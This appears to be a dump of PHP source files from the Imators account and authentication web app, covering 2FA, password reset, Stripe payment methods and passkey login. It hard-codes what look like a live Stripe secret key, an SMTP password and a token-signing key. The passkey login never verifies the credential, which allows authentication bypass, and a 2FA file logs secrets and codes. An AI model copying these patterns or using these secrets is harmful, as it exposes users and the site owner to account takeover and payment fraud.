self::base32Decode($secret); $time = pack('N*', 0, $timeSlice); $hm = hash_hmac('SHA1', $time, $secretkey, true); $offset = ord(substr($hm, -1)) & 0x0F; $hashpart = substr($hm, $offset, 4); $value = unpack('N', $hashpart)[1]; $value = $value & 0x7FFFFFFF; return str_pad($value % 1000000, 6, '0', STR_PAD_LEFT); } }PK �)�[��a manage_subscription.phpnu �[��� <?php session_start(); require_once 'db.php'; header('Content-Type: application/json'); if (!isset($_SESSION['user_id'])) { echo json_encode(['success' => false, 'error' => 'Non autorisé']); exit; } $input = json_decode(file_get_contents('php://input'), true); $action = $input['action'] ?? ''; $service = $input['service'] ?? ''; if (!in_array($action, ['cancel', 'disconnect']) || !in_array($service, ['academ', 'ohmypanel', 'something'])) { echo json_encode(['success' => false, 'error' => 'Paramètres invalides']); exit; } try { $db = new Database(); $conn = $db->connect(); $stmt = $conn->prepare("UPDATE utilisateurs SET $service = 0 WHERE id = ?"); $result = $stmt->execute([$_SESSION['user_id']]); if ($result) { echo json_encode(['success' => true]); } else { echo json_encode(['success' => false, 'error' => 'Erreur base de données']); } } catch(Exception $e) { echo json_encode(['success' => false, 'error' => 'Erreur serveur']); } ?>PK �)�[�H�E� � setup_2fa.phpnu �Iw�� <?php require_once 'TwoFactorAuth.php'; if (!isset($_SESSION['user_id'])) { exit; } try { $stmt = $conn->prepare("SELECT is_enabled FROM two_factor_auth WHERE user_id = ?"); $stmt->execute([$_SESSION['user_id']]); $twoFaStatus = $stmt->fetch(PDO::FETCH_COLUMN); } catch(PDOException $e) { error_log("Error checking 2FA status: " . $e->getMessage()); $twoFaStatus = false; }PK �)�[�B�$ $ check_notifications.phpnu �[��� <?php session_start(); require_once 'db.php'; if (!isset($_SESSION['user_id'])) { http_response_code(401); exit(json_encode(['error' => 'Unauthorized'])); } $db = new Database(); $conn = $db->connect(); try { // R�cup�ration des notifications non lues $stmt = $conn->prepare(" SELECT n.*, t.subject, t.status FROM ticket_notifications n JOIN support_tickets t ON n.ticket_id = t.id WHERE n.user_id = ? AND n.is_read = FALSE ORDER BY n.created_at DESC "); $stmt->execute([$_SESSION['user_id']]); $notifications = $stmt->fetchAll(PDO::FETCH_ASSOC); // Formatage des notifications pour l'affichage $formatted_notifications = array_map(function($notification) { return [ 'id' => $notification['id'], 'ticket_id' => $notification['ticket_id'], 'message' => $notification['message'], 'subject' => $notification['subject'], 'status' => $notification['status'], 'created_at' => date('Y-m-d H:i:s', strtotime($notification['created_at'])), 'url' => "view_ticket.php?id=" . $notification['ticket_id'] ]; }, $notifications); // Compter les notifications non lues $stmt = $conn->prepare(" SELECT COUNT(*) as count FROM ticket_notifications WHERE user_id = ? AND is_read = FALSE "); $stmt->execute([$_SESSION['user_id']]); $unread_count = $stmt->fetch(PDO::FETCH_ASSOC)['count']; // Retourner la r�ponse echo json_encode([ 'notifications' => $formatted_notifications, 'unread_count' => $unread_count ]); } catch (PDOException $e) { http_response_code(500); error_log("Notification error: " . $e->getMessage()); echo json_encode(['error' => 'Internal server error']); }PK �)�[ ads/content.phpnu �[��� PK �)�[zI�� � verify_2fa_setup.phpnu �[��� <?php session_start(); require_once 'db.php'; require_once 'TwoFactorAuth.php'; header('Content-Type: application/json'); error_log("Starting verification process"); // Debug log if (!isset($_SESSION['user_id'])) { error_log("No user session"); echo json_encode(['success' => false, 'error' => 'Unauthorized']); exit; } $data = json_decode(file_get_contents('php://input'), true); $code = $data['code'] ?? ''; error_log("Received code: " . $code); // Debug log error_log("User ID: " . $_SESSION['user_id']); // Debug log $db = new Database(); $twoFA = new TwoFactorAuth($db); try { // Get the secret key first $conn = $db->connect(); $stmt = $conn->prepare("SELECT secret_key FROM two_factor_auth WHERE user_id = ?"); $stmt->execute([$_SESSION['user_id']]); $secret = $stmt->fetchColumn(); error_log("Secret key from DB: " . $secret); // Debug log $result = $twoFA->enableTwoFactor($_SESSION['user_id'], $code); error_log("Enable result: " . json_encode($result)); // Debug log if ($result['success']) { $backupCodes = $twoFA->generateBackupCodes(); $result['backupCodes'] = $backupCodes; } echo json_encode($result); } catch (Exception $e) { error_log("Error during verification: " . $e->getMessage()); // Debug log echo json_encode(['success' => false, 'error' => 'Verification error']); }PK �)�[�F���/ �/ reset-password.phpnu �Iw�� <?php session_start(); require_once 'db.php'; // Définir le fuseau horaire pour l'Europe/Bruxelles (Belgique) date_default_timezone_set('Europe/Brussels'); if(isset($_SESSION['user_id'])) { header('Location: https://idsma.imators.com/dashboard.php'); exit; } $error = ''; $success = ''; $valid_token = false; $token = $_GET['token'] ?? ''; if(empty($token)) { header('Location: login.php'); exit; } try { $db = new Database(); $conn = $db->connect(); // Utilisation d'une requête qui prend en compte le fuseau horaire pour comparer la date d'expiration $stmt = $conn->prepare("SELECT pr.*, u.email FROM password_resets pr JOIN utilisateurs u ON pr.user_id = u.id WHERE pr.token = ? AND pr.expires_at > NOW() AND pr.used = 0 LIMIT 1"); $stmt->execute([$token]); if($stmt->rowCount() > 0) { $reset_data = $stmt->fetch(PDO::FETCH_ASSOC); $valid_token = true; } else { $error = "Invalid or expired token. Please request a new password reset."; } } catch(PDOException $e) { $error = "An error occurred. Please try again later."; error_log("Token validation error: " . $e->getMessage()); } if ($_SERVER['REQUEST_METHOD'] === 'POST' && $valid_token) { $password = $_POST['password']; $confirm_password = $_POST['confirm_password']; if(strlen($password) < 8) { $error = "Password must be at least 8 characters long."; } elseif($password !== $confirm_password) { $error = "Passwords do not match."; } else { try { $hashed_password = password_hash($password, PASSWORD_DEFAULT); $stmt = $conn->prepare("UPDATE utilisateurs SET password = ? WHERE id = ?"); $stmt->execute([$hashed_password, $reset_data['user_id']]); $stmt = $conn->prepare("UPDATE password_resets SET used = 1 WHERE token = ?"); $stmt->execute([$token]); $success = "Your password has been successfully reset. You can now login with your new password."; } catch(PDOException $e) { $error = "Password reset failed. Please try again."; error_log("Password update error: " . $e->getMessage()); } } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Reset Password - Imators Auth.</title> <meta name="description" content="Create a new password for your Imators account."> <meta property="og:url" content="https://accounts.imators.com"> <meta property="og:type" content="website"> <meta property="og:title" content="Reset Password - Imators Auth."> <meta property="og:description" content="Create a new password for your Imators account."> <meta property="og:image" content="https://opengraph.b-cdn.net/production/images/fb6bc1ea-5744-46f1-bee6-fc033a6c6b56.png?token=_EL6e3nPPtxSgvlGKURhJgrJb5NireVFT99X4BXVrYA&height=600&width=1200&expires=33267345049"> <meta name="twitter:card" content="summary_large_image"> <meta property="twitter:domain" content="accounts.imators.com"> <meta property="twitter:url" content="https://accounts.imators.com"> <meta name="twitter:title" content="Reset Password - Imators Auth."> <meta name="twitter:description" content="Create a new password for your Imators account."> <meta name="twitter:image" content="https://opengraph.b-cdn.net/production/images/fb6bc1ea-5744-46f1-bee6-fc033a6c6b56.png?token=_EL6e3nPPtxSgvlGKURhJgrJb5NireVFT99X4BXVrYA&height=600&width=1200&expires=33267345049"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600&display=swap" rel="stylesheet"> <script src="https://cdn.tailwindcss.com"></script> <link href="https://cdn.imators.com/logo.png" rel="icon" type="image/png" /> <script src="https://unpkg.com/alpinejs@3.x.x/dist/cdn.min.js" defer></script> <style> body { font-family: 'Poppins', sans-serif; } </style> </head> <body x-data="resetPasswordManager()" class="bg-black text-white min-h-screen flex items-center justify-center"> <div class="w-full max-w-md p-8"> <div class="text-center mb-8"> <img src="https://cdn.imators.com/logo.png" alt="Logo" class="mx-left mb-4" style="height: 60px;"> <h1 class="text-3xl text-left text-green-200">Create new password</h1> <p class="text-xs text-left"> <?php echo $valid_token ? "Please create a new password for {$reset_data['email']}" : "Set up your new password"; ?> </p> </div> <?php if($success): ?> <div class="bg-green-500/20 border border-green-500 text-green-300 p-4 rounded-lg text-center mb-6"> <?php echo htmlspecialchars($success); ?> <p class="mt-4"> <a href="login.php" class="bg-white text-black py-2 px-4 rounded-lg font-medium hover:bg-gray-100 transition-colors inline-block">Go to Login</a> </p> </div> <?php elseif($valid_token): ?> <form method="POST" x-on:submit.prevent="submitForm" class="space-y-6" > <?php if($error): ?> <div x-show="showError" class="bg-red-500 text-white p-3 rounded-lg text-center mb-4" > <?php echo htmlspecialchars($error); ?> </div> <?php endif; ?> <div> <label class="block text-sm font-medium mb-2">New Password</label> <div class="relative"> <input type="password" name="password" required x-model="password" id="password-field" class="w-full px-4 py-2 rounded-lg bg-gray-900 border border-gray-800 focus:border-white focus:outline-none" > <button type="button" class="absolute inset-y-0 right-0 pr-3 flex items-center" onclick="togglePasswordVisibility('password-field', 'eye-icon', 'eye-off-icon')" > <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5 text-gray-400" id="eye-icon" fill="none" viewBox="0 0 24 24" stroke="currentColor"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15 12a3 3 0 11-6 0 3 3 0 016 0z" /> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z" /> </svg> <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5 text-gray-400 hidden" id="eye-off-icon" fill="none" viewBox="0 0 24 24" stroke="currentColor"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13.875 18.825A10.05 10.05 0 0112 19c-4.478 0-8.268-2.943-9.543-7a9.97 9.97 0 011.563-3.029m5.858.908a3 3 0 114.243 4.243M9.878 9.878l4.242 4.242M9.88 9.88l-3.29-3.29m7.532 7.532l3.29 3.29M3 3l18 18" /> </svg> </button> </div> <div class="mt-1 text-xs text-gray-400">Password must be at least 8 characters long</div> </div> <div> <label class="block text-sm font-medium mb-2">Confirm Password</label> <div class="relative"> <input type="password" name="confirm_password" required x-model="confirmPassword" id="confirm-password-field" class="w-full px-4 py-2 rounded-lg bg-gray-900 border border-gray-800 focus:border-white focus:outline-none" > <button type="button" class="absolute inset-y-0 right-0 pr-3 flex items-center" onclick="togglePasswordVisibility('confirm-password-field', 'eye-icon-2', 'eye-off-icon-2')" > <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5 text-gray-400" id="eye-icon-2" fill="none" viewBox="0 0 24 24" stroke="currentColor"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15 12a3 3 0 11-6 0 3 3 0 016 0z" /> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z" /> </svg> <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5 text-gray-400 hidden" id="eye-off-icon-2" fill="none" viewBox="0 0 24 24" stroke="currentColor"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13.875 18.825A10.05 10.05 0 0112 19c-4.478 0-8.268-2.943-9.543-7a9.97 9.97 0 011.563-3.029m5.858.908a3 3 0 114.243 4.243M9.878 9.878l4.242 4.242M9.88 9.88l-3.29-3.29m7.532 7.532l3.29 3.29M3 3l18 18" /> </svg> </button> </div> </div> <button type="submit" class="w-full bg-white text-black py-2 px-4 rounded-lg font-medium hover:bg-gray-100 transition-colors" > Reset Password </button> </form> <?php else: ?> <div class="bg-red-500/20 border border-red-500 text-red-300 p-4 rounded-lg text-center mb-6"> <?php echo htmlspecialchars($error); ?> <p class="mt-4"> <a href="forgot-password.php" class="bg-white text-black py-2 px-4 rounded-lg font-medium hover:bg-gray-100 transition-colors inline-block">Request New Reset Link</a> </p> </div> <?php endif; ?> </div> <script> function togglePasswordVisibility(fieldId, eyeIconId, eyeOffIconId) { const passwordField = document.getElementById(fieldId); const eyeIcon = document.getElementById(eyeIconId); const eyeOffIcon = document.getElementById(eyeOffIconId); if (passwordField.type === 'password') { passwordField.type = 'text'; eyeIcon.classList.add('hidden'); eyeOffIcon.classList.remove('hidden'); } else { passwordField.type = 'password'; eyeIcon.classList.remove('hidden'); eyeOffIcon.classList.add('hidden'); } } function resetPasswordManager() { return { password: '', confirmPassword: '', showError: <?php echo $error ? 'true' : 'false'; ?>, submitForm() { if (!this.password || !this.confirmPassword) { this.showError = true; return; } if (this.password.length < 8) { this.showError = true; return; } if (this.password !== this.confirmPassword) { this.showError = true; return; } document.querySelector('form').submit(); } }; } </script> </body> </html>PK �)�[3b�h h update_payment_method.phpnu �Iw�� <?php session_start(); require_once 'db.php'; require 'vendor/autoload.php'; header('Content-Type: application/json'); if (!isset($_SESSION['user_id'])) { echo json_encode(['success' => false, 'error' => 'Not authenticated']); exit; } $jsonData = json_decode(file_get_contents('php://input'), true); if (!isset($jsonData['card_id']) || !isset($jsonData['action'])) { echo json_encode(['success' => false, 'error' => 'Invalid request']); exit; } $cardId = $jsonData['card_id']; $action = $jsonData['action']; try { $db = new Database(); $conn = $db->connect(); $stmt = $conn->prepare("SELECT pm.*, u.stripe_customer_id FROM payment_methods pm JOIN utilisateurs u ON pm.user_id = u.id WHERE pm.id = ? AND pm.user_id = ?"); $stmt->execute([$cardId, $_SESSION['user_id']]); $card = $stmt->fetch(PDO::FETCH_ASSOC); if (!$card) { echo json_encode(['success' => false, 'error' => 'Card not found']); exit; } \Stripe\Stripe::setApiKey('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'); if ($action === 'set_default') { \Stripe\Customer::update( $card['stripe_customer_id'], ['default_source' => $card['stripe_card_id']] ); $conn->beginTransaction(); $conn->prepare("UPDATE payment_methods SET is_default = 0 WHERE user_id = ?")->execute([$_SESSION['user_id']]); $conn->prepare("UPDATE payment_methods SET is_default = 1 WHERE id = ?")->execute([$cardId]); $conn->commit(); echo json_encode(['success' => true]); } elseif ($action === 'delete') { $isDefault = $card['is_default']; \Stripe\Customer::deleteSource( $card['stripe_customer_id'], $card['stripe_card_id'] ); $conn->prepare("DELETE FROM payment_methods WHERE id = ?")->execute([$cardId]); if ($isDefault) { $stmt = $conn->prepare("SELECT id, stripe_card_id FROM payment_methods WHERE user_id = ? ORDER BY created_at DESC LIMIT 1"); $stmt->execute([$_SESSION['user_id']]); $newDefaultCard = $stmt->fetch(PDO::FETCH_ASSOC); if ($newDefaultCard) { \Stripe\Customer::update( $card['stripe_customer_id'], ['default_source' => $newDefaultCard['stripe_card_id']] ); $conn->prepare("UPDATE payment_methods SET is_default = 1 WHERE id = ?")->execute([$newDefaultCard['id']]); } } echo json_encode(['success' => true]); } else { echo json_encode(['success' => false, 'error' => 'Invalid action']); } } catch (Exception $e) { if (isset($conn) && $conn->inTransaction()) { $conn->rollBack(); } error_log("Error updating payment method: " . $e->getMessage()); echo json_encode(['success' => false, 'error' => $e->getMessage()]); } ?>PK �)�[��3�� � composer.jsonnu �Iw�� { "require": { "phpmailer/phpmailer": "^6.9", "pragmarx/google2fa": "^8.0", "bacon/bacon-qr-code": "^3.0", "web-auth/webauthn-lib": "^4.9", "stripe/stripe-php": "^17.2" } } PK �)�[�m��RM RM ise-passkey.phpnu �Iw�� <?php session_start(); require_once 'db.php'; require 'vendor/autoload.php'; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\Exception; define('ISE_SECRET_KEY', '1MZEEO92K55S1LFKEG0NMVA6JHJTNJ54'); define('ISE_TOKEN_EXPIRY', 3600); if (!isset($_SESSION['pending_user_id']) || !isset($_SESSION['pending_username']) || !isset($_SESSION['pending_email']) || !isset($_SESSION['pending_ise_auth'])) { session_destroy(); header('Location: ise-login.php'); exit; } function generateISEToken($user_id, $email, $username) { $expires = time() + ISE_TOKEN_EXPIRY; $data = [ 'user_id' => $user_id, 'email' => $email, 'username' => $username, 'expires' => $expires, 'timestamp' => time(), 'ise_auth' => true ]; $token = base64_encode(json_encode($data)); $signature = hash_hmac('sha256', $token . $expires, ISE_SECRET_KEY); return [ 'token' => $token, 'expires' => $expires, 'signature' => $signature ]; } function buildISEAuthURL($user_id, $email, $username) { $tokenData = generateISEToken($user_id, $email, $username); $params = http_build_query([ 'token' => $tokenData['token'], 'expires' => $tokenData['expires'], 'signature' => $tokenData['signature'] ]); return "https://ise.imators.systems/auth?" . $params; } function getDeviceInfo($user_agent) { $device_info = [ 'device' => 'Unknown', 'os' => 'Unknown', 'browser' => 'Unknown' ]; if(preg_match('/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i',$user_agent)) { $device_info['device'] = 'Mobile'; } elseif(preg_match('/tablet|ipad|playbook|silk/i', $user_agent)) { $device_info['device'] = 'Tablet'; } else { $device_info['device'] = 'Desktop'; } if(preg_match('/windows/i', $user_agent)) { $device_info['os'] = 'Windows'; } elseif(preg_match('/macintosh|mac os x/i', $user_agent)) { $device_info['os'] = 'MacOS / iOS'; } elseif(preg_match('/linux/i', $user_agent)) { $device_info['os'] = 'Linux'; } elseif(preg_match('/iphone|ipad|ipod/i', $user_agent)) { $device_info['os'] = 'iOS'; } elseif(preg_match('/android/i', $user_agent)) { $device_info['os'] = 'Android'; } if(preg_match('/MSIE|Trident/i', $user_agent)) { $device_info['browser'] = 'Internet Explorer'; } elseif(preg_match('/Firefox/i', $user_agent)) { $device_info['browser'] = 'Firefox'; } elseif(preg_match('/Chrome/i', $user_agent)) { $device_info['browser'] = 'Chrome'; } elseif(preg_match('/Safari/i', $user_agent)) { $device_info['browser'] = 'Safari'; } elseif(preg_match('/Opera|OPR/i', $user_agent)) { $device_info['browser'] = 'Opera'; } return $device_info; } function sendISELoginNotification($email, $location, $device_info) { $profile_picture = 'https://cdn.imators.com/default-profile.png'; try { $db = new Database(); $conn = $db->connect(); if(isset($_SESSION['pending_user_id'])) { $userId = $_SESSION['pending_user_id']; $query = "SELECT `profile-picture` FROM utilisateurs WHERE id = :id"; $stmt = $conn->prepare($query); $stmt->bindParam(':id', $userId, PDO::PARAM_INT); $stmt->execute(); if($stmt->rowCount() > 0) { $row = $stmt->fetch(PDO::FETCH_ASSOC); if(isset($row['profile-picture']) && !empty($row['profile-picture'])) { $profile_picture = $row['profile-picture']; } } } } catch (Exception $e) { error_log("Error fetching profile picture: " . $e->getMessage()); } $mail = new PHPMailer(true); try { $mail->isSMTP(); $mail->Host = 'mail.imators.com'; $mail->SMTPAuth = true; $mail->Username = 'no-reply@imators.systems'; $mail->Password = 'imators.managements4455*#@'; $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; $mail->Port = 587; $mail->SMTPOptions = [ 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true ] ]; $mail->setFrom('no-reply@imators.systems', 'Imators'); $mail->addAddress($email); $mail->addReplyTo('no-reply@imators.systems', 'No Reply'); $mail->isHTML(true); $mail->Subject = 'ISE Engine Access - Passkey Authentication'; $location_text = isset($location['formatted_address']) ? $location['formatted_address'] : ($location['location'] ?? 'Unknown'); $mail->Body = ' <div style="font-family: \'Poppins\', sans-serif; max-width: 600px; margin: 0 auto;"> <div style="background: #1a1a1a; padding: 30px; border-radius: 10px; color: white;"> <div style="text-align: center; margin-bottom: 20px;"> <img src="' . $profile_picture . '" alt="Profile Picture" style="width: 100px; height: 100px; border-radius: 50%; object-fit: cover; border: 2px solid #00ff00;"> </div> <h1 style="margin-bottom: 20px;">ISE Engine Access via Passkey</h1> <p style="margin-bottom: 15px;">Your Imators account was used to access ISE Engine with Passkey authentication:</p> <ul style="margin-bottom: 20px; list-style: none; padding: 0;"> <li style="margin-bottom: 5px;"><strong>Imators Service:</strong> ISE Engine Workspace</li> <li style="margin-bottom: 5px;"><strong>Location:</strong> ' . $location_text . '</li> <li style="margin-bottom: 5px;"><strong>Device:</strong> ' . $device_info['device'] . ' (' . $device_info['os'] . ')</li> <li style="margin-bottom: 5px;"><strong>Browser:</strong> ' . $device_info['browser'] . '</li> <li style="margin-bottom: 5px;"><strong>Time:</strong> ' . date('F j, Y g:i A') . '</li> <li style="margin-bottom: 5px;"><strong>Authentication:</strong> Passkey</li> </ul> <p style="margin-bottom: 30px;">If this wasn\'t you, please secure your account immediately.</p> <a href="https://idsma.imators.com" style="display: inline-block; background-color: #00ff00; color: black; padding: 10px 20px; text-decoration: none; border-radius: 5px;"> Go to Account Settings </a> </div> </div>'; $mail->send(); } catch (Exception $e) { error_log("ISE Login email error: " . $mail->ErrorInfo); } } function logISEAccess($conn, $user_id, $location, $device_info) { $ip_address = $_SERVER['REMOTE_ADDR']; $location_data = [ 'ip' => $ip_address, 'location' => $location['location'] ?? 'Unknown', 'service' => 'ISE Engine', 'auth_method' => 'Passkey' ]; if (isset($location['latitude']) && isset($location['longitude'])) { $location_data['latitude'] = $location['latitude']; $location_data['longitude'] = $location['longitude']; $location_data['formatted_address'] = $location['formatted_address'] ?? null; } $stmt = $conn->prepare(" INSERT INTO `connection-watchguard` (user_id, `ip-connected`, `identified-screen`, `hours-of-connect`, `date-of-connect`) VALUES (:user_id, :ip_connected, :identified_screen, :hours_of_connect, :date_of_connect) "); $stmt->execute([ ':user_id' => $user_id, ':ip_connected' => json_encode($location_data), ':identified_screen' => json_encode($device_info), ':hours_of_connect' => date('H:i:s'), ':date_of_connect' => date('Y-m-d H:i:s') ]); } if ($_SERVER['REQUEST_METHOD'] === 'POST') { header('Content-Type: application/json'); try { $db = new Database(); $conn = $db->connect(); $data = json_decode(file_get_contents('php://input'), true); $stmt = $conn->prepare("SELECT * FROM passkeys WHERE user_id = ?"); $stmt->execute([$_SESSION['pending_user_id']]); $passkey = $stmt->fetch(PDO::FETCH_ASSOC); if ($passkey) { $user_id = $_SESSION['pending_user_id']; $username = $_SESSION['pending_username']; $email = $_SESSION['pending_email']; $device_info = getDeviceInfo($_SERVER['HTTP_USER_AGENT']); $location = []; if(isset($data['exact_location'])) { $exact_location = $data['exact_location']; if($exact_location) { $location = [ 'country' => $exact_location['country'], 'city' => $exact_location['city'], 'region' => $exact_location['state'], 'location' => "{$exact_location['city']}, {$exact_location['country']}", 'latitude' => $exact_location['latitude'], 'longitude' => $exact_location['longitude'], 'formatted_address' => $exact_location['formatted'] ]; } } if(empty($location)) { $ip_details = json_decode(file_get_contents("http://ip-api.com/json/" . $_SERVER['REMOTE_ADDR']), true); if($ip_details && $ip_details['status'] === 'success') { $location = [ 'country' => $ip_details['country'], 'city' => $ip_details['city'], 'region' => $ip_details['regionName'], 'location' => "{$ip_details['city']}, {$ip_details['country']}" ]; } } logISEAccess($conn, $user_id, $location, $device_info); sendISELoginNotification($email, $location, $device_info); $stmt = $conn->prepare("UPDATE passkeys SET last_used_at = NOW() WHERE user_id = ?"); $stmt->execute([$user_id]); session_unset(); $ise_url = buildISEAuthURL($user_id, $email, $username); echo json_encode(['success' => true, 'redirect' => $ise_url]); exit; } else { echo json_encode(['error' => 'Invalid passkey']); } } catch (Exception $e) { echo json_encode(['error' => $e->getMessage()]); } exit; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>ISE Engine Passkey Authentication - Imators</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600&display=swap" rel="stylesheet"> <script src="https://cdn.tailwindcss.com"></script> <style> body { font-family: 'Poppins', sans-serif; background: linear-gradient(135deg, #000000, #0a0a0a, #141414); background-attachment: fixed; } .glass-effect { backdrop-filter: blur(16px); background: rgba(255, 255, 255, 0.02); border: 1px solid rgba(255, 255, 255, 0.05); } .gradient-border { position: relative; border-radius: 1.25rem; background: linear-gradient(145deg, rgba(26, 26, 26, 0.8), rgba(45, 45, 45, 0.4)); padding: 1px; } .hover-scale { transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); } .hover-scale:hover { transform: translateY(-4px) scale(1.01); box-shadow: 0 20px 40px rgba(0, 0, 0, 0.2); } </style> <script> function getExactLocation() { if (navigator.geolocation) { navigator.geolocation.getCurrentPosition( function(position) { const latitude = position.coords.latitude; const longitude = position.coords.longitude; fetch(`https://nominatim.openstreetmap.org/reverse?format=json&lat=${latitude}&lon=${longitude}&zoom=18&addressdetails=1`) .then(response => response.json()) .then(data => { window.exactLocation = { latitude: latitude, longitude: longitude, city: data.address.city || data.address.town || data.address.village || data.address.hamlet || 'Unknown', country: data.address.country || 'Unknown', state: data.address.state || data.address.county || 'Unknown', formatted: data.display_name || 'Unknown', }; }) .catch(error => { console.error("Error fetching address:", error); }); }, function(error) { console.error("Geolocation error:", error); } ); } } document.addEventListener('DOMContentLoaded', getExactLocation); </script> </head> <body class="bg-black text-white min-h-screen flex items-center justify-center p-4"> <div class="w-full max-w-md"> <div class="text-center mb-8"> <img src="https://cdn.imators.com/logo.png" alt="Logo" class="mx-auto mb-4" style="height: 60px;"> <h1 class="text-3xl text-green-200">ISE Engine Access</h1> <p class="text-sm text-gray-400 mt-2">Complete your ISE Engine login with Passkey verification</p> </div> <div class="bg-blue-500/20 border border-blue-500 text-blue-300 p-3 rounded-lg text-sm mb-6"> <p>🔒 Secure access to ISE Engine workspace via Passkey authentication.</p> </div> <div id="error-message" class="hidden bg-red-500/20 border border-red-500/20 text-red-400 p-4 rounded-lg mb-4 text-center"></div> <div class="gradient-border hover-scale"> <div class="glass-effect rounded-xl p-8"> <div class="flex justify-center mb-6"> <div id="verification-status" class="animate-pulse w-20 h-20 bg-blue-500/20 rounded-full flex items-center justify-center"> <svg class="w-10 h-10 text-blue-400" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"/> </svg> </div> </div> <div class="text-center space-y-4"> <p class="text-gray-300" id="status-text">Use your passkey to access ISE Engine...</p> <div class="text-sm text-gray-500"> <p>Authenticating for ISE Engine access:</p> <p class="text-gray-300 font-medium"><?php echo htmlspecialchars($_SESSION['pending_email']); ?></p> </div> <a href="ise-login.php" class="inline-block text-sm text-gray-500 hover:text-gray-400 transition-colors mt-4"> Cancel and return to ISE login </a> </div> </div> </div> </div> <script> async function verifyPasskey() { try { const challenge = new Uint8Array(32); window.crypto.getRandomValues(challenge); const credential = await navigator.credentials.get({ publicKey: { challenge, rpId: window.location.hostname, timeout: 60000, userVerification: "preferred", allowCredentials: [] } }); const requestData = { id: credential.id, rawId: arrayBufferToBase64(credential.rawId), response: { clientDataJSON: arrayBufferToBase64(credential.response.clientDataJSON), authenticatorData: arrayBufferToBase64(credential.response.authenticatorData), signature: arrayBufferToBase64(credential.response.signature) } }; if (window.exactLocation) { requestData.exact_location = window.exactLocation; } const response = await fetch(window.location.href, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(requestData) }); const result = await response.json(); if (result.success) { showSuccess(); setTimeout(() => { window.location.href = result.redirect; }, 1000); } else { throw new Error(result.error || 'Verification failed'); } } catch (error) { showError(error.message); } } function showSuccess() { const status = document.getElementById('verification-status'); const statusText = document.getElementById('status-text'); status.classList.remove('animate-pulse', 'bg-blue-500/20'); status.classList.add('bg-green-500/20'); status.innerHTML = ` <svg class="w-10 h-10 text-green-400" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"/> </svg>`; statusText.textContent = 'Success! Connecting to ISE Engine...'; } function showError(message) { const status = document.getElementById('verification-status'); const statusText = document.getElementById('status-text'); const errorMessage = document.getElementById('error-message'); status.classList.remove('animate-pulse', 'bg-blue-500/20'); status.classList.add('bg-red-500/20'); status.innerHTML = ` <svg class="w-10 h-10 text-red-400" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12"/> </svg>`; statusText.textContent = 'Authentication failed. Please try again.'; errorMessage.textContent = message; errorMessage.classList.remove('hidden'); } function arrayBufferToBase64(buffer) { const bytes = new Uint8Array(buffer); let binary = ''; for (let i = 0; i < bytes.byteLength; i++) { binary += String.fromCharCode(bytes[i]); } return window.btoa(binary); } window.addEventListener('load', verifyPasskey); </script> </body> </html>PK �)�[}<v� � generate_2fa.phpnu �[��� <?php require_once 'vendor/autoload.php'; session_start(); require_once 'db.php'; use PragmaRX\Google2FA\Google2FA; header('Content-Type: application/json'); try { // Init Google2FA $google2fa = new Google2FA(); // G�n�rer secret $secret = $google2fa->generateSecretKey(); $_SESSION['temp_2fa_secret'] = $secret; // QR code URL $qrCodeUrl = $google2fa->getQRCodeUrl( 'Imators', $_SESSION['username'], $secret ); // Utiliser l'API Google Charts $qrCode = 'https://chart.googleapis.com/chart?cht=qr&chs=300x300&chl=' . urlencode($qrCodeUrl); echo json_encode([ 'success' => true, 'qrcode' => $qrCode, 'secret' => $secret ]); } catch(Exception $e) { error_log('2FA Error: ' . $e->getMessage()); echo json_encode([ 'success' => false, 'error' => $e->getMessage() ]); }PK �)�[l9t��, �, verify.phpnu �Iw�� <?php session_start(); require_once 'db.php'; require 'vendor/autoload.php'; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\Exception; if (!isset($_SESSION['pending_email'])) { header('Location: login.php'); exit; } $error = ''; $success = ''; $db = new Database(); $conn = $db->connect(); if 